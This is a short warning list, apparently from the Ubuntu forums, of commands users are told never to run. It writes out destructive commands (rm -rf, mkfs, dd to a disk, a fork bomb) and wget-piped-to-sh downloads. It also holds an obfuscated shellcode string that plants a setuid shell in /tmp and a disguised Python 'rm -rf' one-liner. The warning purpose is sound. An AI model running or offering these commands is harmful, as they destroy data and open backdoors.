Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*


mkfs
mkfs.ext3
mkfs.anything


any_command > /dev/sda
dd if=something of=/dev/sda


:(){:|:&};:


wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh



char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'


Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73